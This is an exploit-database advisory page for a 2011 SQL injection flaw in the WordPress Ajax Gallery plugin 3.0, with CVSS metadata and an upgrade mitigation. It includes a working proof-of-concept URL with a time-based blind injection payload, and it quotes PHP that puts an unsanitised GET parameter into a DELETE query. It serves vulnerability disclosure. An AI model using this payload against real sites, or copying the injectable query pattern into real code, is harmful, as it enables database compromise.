header-logo
Suggest Exploit
vendor:
Ajax Gallery
by:
Miroslav Stampar
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Ajax Gallery
Affected Version From: 3
Affected Version To: 3
Patch Exists: YES
Related CWE: N/A
CPE: a:wordpress:ajax_gallery
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2011

WordPress Ajax Gallery plugin <= 3.0 SQL Injection Vulnerability

A SQL injection vulnerability exists in the WordPress Ajax Gallery plugin version 3.0 and below. An attacker can exploit this vulnerability by sending a crafted HTTP request to the list.php script with the delete and gId parameters set to a malicious value. This can allow the attacker to execute arbitrary SQL commands on the underlying database.

Mitigation:

Upgrade to the latest version of the WordPress Ajax Gallery plugin.
Source

Exploit-DB raw data:

# Exploit Title: WordPress Ajax Gallery plugin <= 3.0 SQL Injection Vulnerability
# Date: 2011-08-18
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/ajaxgallery.3.0.zip
# Version: 3.0 (tested)

---
PoC
---
http://www.site.com/wp-content/plugins/ajaxgallery/utils/list.php?delete=1&gId=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

---------------
Vulnerable code
---------------
if( isset( $_GET[ 'delete' ]) && isset( $_GET['gId'] ) ){
  $wpdb->query( "DELETE FROM $wpdb->options WHERE option_name='agItem' and option_id=".$_GET['gId'] );
  echo "<div id='message' class='updated fade'><p><strong>Galeria eliminada</strong></p></div>";
}